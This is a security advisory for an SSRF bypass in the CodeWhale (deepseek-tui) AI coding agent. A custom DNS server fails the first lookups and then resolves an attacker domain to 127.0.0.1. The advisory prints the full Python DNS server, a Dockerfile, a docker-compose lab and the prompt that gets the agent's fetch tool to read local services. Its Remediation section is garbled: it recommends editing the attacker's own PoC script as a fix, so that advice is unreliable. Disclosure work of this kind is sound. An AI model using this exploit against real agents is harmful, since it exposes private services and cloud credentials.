GHSA-6v2g-fpxh-pmmh: SSRF
Maintainer resolution
The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.
Summary DNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic.
Details Simplified attack scenario: 1. Attacker asks agent to visit the mydomain.com. 2. CodeWhale tries to resolve the IP of mydomain.com, however, the custom DNS server that's controlled by the attacker marks the request DNS query as failed (Time of Check). 3. CodeWhale allows the code to continue as it expects it request to fail again. 4. On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1) 5. The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.
In the DNS-pinning section, when DNS fails, the code is allowed to continue as it's expected to fail. However
PoC This is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS server(for PoC, should be placed in dnser/dnsresolver.py: python #!/usr/bin/env python3 """ Local DNS Resolver — customizable request/response handling. Uses only the standard library + dnslib.
Usage: pip install dnslib sudo python dnsresolver.py # binds to 0.0.0.0:53 by default python dnsresolver.py --port 5353 # unprivileged port for testing """
import argparse import socket import threading from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA
UPSTREAMDNS = ("8.8.8.8", 53) # fallback resolver
def handlenoaaaa(query: DNSRecord) -> DNSRecord | None: """Drop all AAAA requests.""" if QTYPE[query.q.qtype] == "AAAA": reply = query.reply() reply.header.rcode = 3 # NXDOMAIN return reply return None
def handleblocked(query: DNSRecord) -> DNSRecord | None: """Block domains by returning NXDOMAIN.""" blocked = {"blocked.example.com.", "ads.tracker.io."} qname = str(query.q.qname) if qname in blocked: print(f" [BLOCKED] {qname}") reply = query.reply() reply.header.rcode = 3 # NXDOMAIN return reply return None
failer = 0 MAXFAIL = 2 MAXSUCCESS = 2
def handleoverrides(query: DNSRecord) -> DNSRecord | None: global failer """Return hardcoded A records for specific names (split-horizon / local dev).""" overrides: dict[str, str] = { "myapp.local.": "127.0.0.1", "devserver.local.": "192.168.1.100", "mydomain.com.": "127.0.0.1", } qname = str(query.q.qname) qtype = QTYPE[query.q.qtype]
if qname in overrides and qtype == "A": failer += 1 cyclepos = (failer - 1) % (MAXFAIL + MAXSUCCESS) # position within cycle shouldfail = cyclepos < MAXFAIL
print(f" [OVERRIDE] request={failer} cyclepos={cyclepos} fail={shouldfail}")
if shouldfail: reply = query.reply() reply.header.rcode = 3 reply.header.ra = 0 return reply
ip = overrides[qname] print(f" [OVERRIDE] {qname} → {ip}") reply = query.reply() reply.addanswer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0)) reply.header.ra = 0 return reply
return None
def handlerewrite(query: DNSRecord) -> DNSRecord | None: """Rewrite a CNAME transparently (resolve alias locally).""" rewrites: dict[str, str] = { # "old.internal.": "new.internal.", } qname = str(query.q.qname) if qname in rewrites: target = rewrites[qname] print(f" [REWRITE] {qname} → {target}") reply = query.reply() reply.addanswer(RR(qname, QTYPE.CNAME, rdata=CNAME(target), ttl=60)) return reply return None
def handleupstream(query: DNSRecord) -> DNSRecord | None: """Forward the query to the upstream resolver.""" try: raw = query.pack() sock = socket.socket(socket.AFINET, socket.SOCKDGRAM) sock.settimeout(3) sock.sendto(raw, UPSTREAMDNS) data, = sock.recvfrom(4096) sock.close() reply = DNSRecord.parse(data) print(f" [UPSTREAM] {query.q.qname} → {UPSTREAMDNS[0]}") return reply except Exception as e: print(f" [UPSTREAM ERROR] {e}") return None
Chain of responsibility — handlers are tried in order; first non-None wins. HANDLERS = [ handleblocked, handleoverrides, handlerewrite, handleupstream, ]
───────────────────────────────────────────────────────────────────────────── Server plumbing — no need to edit below this line ─────────────────────────────────────────────────────────────────────────────
def resolve(data: bytes) -> bytes: try: query = DNSRecord.parse(data) qname = str(query.q.qname) qtype = QTYPE[query.q.qtype] print(f"[QUERY] {qtype} {qname}")
for handler in HANDLERS: reply = handler(query) if reply is not None: return reply.pack()
# Fallback: SERVFAIL reply = query.reply() reply.header.rcode = 2 return reply.pack()
except Exception as e: print(f"[ERROR] Failed to parse/handle query: {e}") return b""
def udpserver(host: str, port: int) -> None: sock = socket.socket(socket.AFINET, socket.SOCKDGRAM) sock.setsockopt(socket.SOLSOCKET, socket.SOREUSEADDR, 1) sock.bind((host, port)) print(f"DNS resolver listening on {host}:{port} (UDP)") while True: data, addr = sock.recvfrom(4096) threading.Thread( target=lambda d=data, a=addr: sock.sendto(resolve(d), a), daemon=True, ).start()
def tcpserver(host: str, port: int) -> None: srv = socket.socket(socket.AFINET, socket.SOCKSTREAM) srv.setsockopt(socket.SOLSOCKET, socket.SOREUSEADDR, 1) srv.bind((host, port)) srv.listen(10) print(f"DNS resolver listening on {host}:{port} (TCP)")
def handleconn(conn: socket.socket) -> None: with conn: lengthbytes = conn.recv(2) if len(lengthbytes) < 2: return length = int.frombytes(lengthbytes, "big") data = conn.recv(length) response = resolve(data) conn.sendall(len(response).tobytes(2, "big") + response)
while True: conn, = srv.accept() threading.Thread(target=handleconn, args=(conn,), daemon=True).start()
def main() -> None: parser = argparse.ArgumentParser(description="Local DNS resolver") parser.addargument("--host", default="0.0.0.0", help="Bind address") parser.addargument("--port", type=int, default=53, help="Bind port (use 5353 for unprivileged)") args = parser.parseargs()
tudp = threading.Thread(target=udpserver, args=(args.host, args.port), daemon=True) ttcp = threading.Thread(target=tcpserver, args=(args.host, args.port), daemon=True) tudp.start() ttcp.start()
try: tudp.join() except KeyboardInterrupt: print("\nShutting down.")
if name == "main": main()
Docker file to build it(dnser/Dockerfile): bash FROM python:3.12-slim
WORKDIR /app
RUN pip install dnslib --no-cache-dir
COPY dnsresolver.py .
EXPOSE 53/udp EXPOSE 53/tcp
CMD ["python", "-u", "dnsresolver.py", "--host", "0.0.0.0", "--port", "53"]
Then to simplify the test, we can set everything in a container and make the agent use the local DNS resolver:
docker-compose.yml: yaml services: dns-resolver: build: dnser containername: dns-resolver restart: unless-stopped networks: dns-net: ipv4address: 10.0.1.2
a: image: ghcr.io/hmbown/deepseek-tui:latest containername: tui environment: DEEPSEEKAPIKEY: sk- stdinopen: true tty: true dns: 10.0.1.2 networks: - dns-net dependson: - dns-resolver sysctls: net.ipv6.conf.all.disableipv6: 1
networks: dns-net: driver: bridge ipam: config: - subnet: 10.0.1.0/24
Then to check everything we could simply: sudo docker attach tui Prompt: read contnet of http://mydomain.com using fetchurl tools, no thinking just raw output The tool will allow the request to go through 127.0.0.1. To make sure it's not a false-positive I've also installed python in CodeWhale container and ran python3 -m http.server 80 as root to make sure the request can actually read content.
To read the logs from dns-resolver: sudo docker logs -f dns-resolver
Impact Similar to other SSRF bypasses, other services private on the system, private network, and cloud credentials are at risk.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/codewhaleto a version that resolves this vulnerability.Fixed in 0.8.64 - Upgrade
Upgrade
rust/codewhale-tuito a version that resolves this vulnerability.Fixed in 0.8.64 - Upgrade
Upgrade
npm/deepseek-tuito a version that resolves this vulnerability.Fixed in 0.8.41 - Upgrade
Upgrade
CodeWhale deepseek-tuito a version that resolves this vulnerability.Fixed in 0.8.64 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Patch 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e - Configuration
In the DNS resolver handler logic, prevent the “DNS-pinning failure” behavior by ensuring secondary requests are not allowed after initial failures (i.e., disable the condition that sets should_fail when cycle_pos < MAX_FAIL).
dns_resolver.py (local DNS resolver PoC) should_fail (cycle_pos < MAX_FAIL) = false - Configuration
For blocked domains, return NXDOMAIN by setting reply.header.rcode = 3 (as shown in the code snippet) so blocked queries fail closed instead of SERVFAIL allowing fallback behavior.
dns_resolver.py (local DNS resolver PoC) DNS reply rcode for blocked names (reply.header.rcode) = 3
Event History
Frequently Asked Questions
What does an attacker need to exploit this issue?
An attacker needs to cause the agent to visit an attacker-controlled domain and control that domain's DNS responses. The DNS server must fail the initial resolution request, then resolve a later request to a local IP address such as 127.0.0.1.
What could an attacker access if exploitation succeeds?
The bypass allows requests to local services despite the SSRF mitigations. In the described scenario, content from a service on local port 80 is returned to the attacker.
Which versions contain the fix?
Version 0.8.64 contains the fix. Users should upgrade to 0.8.64 or later.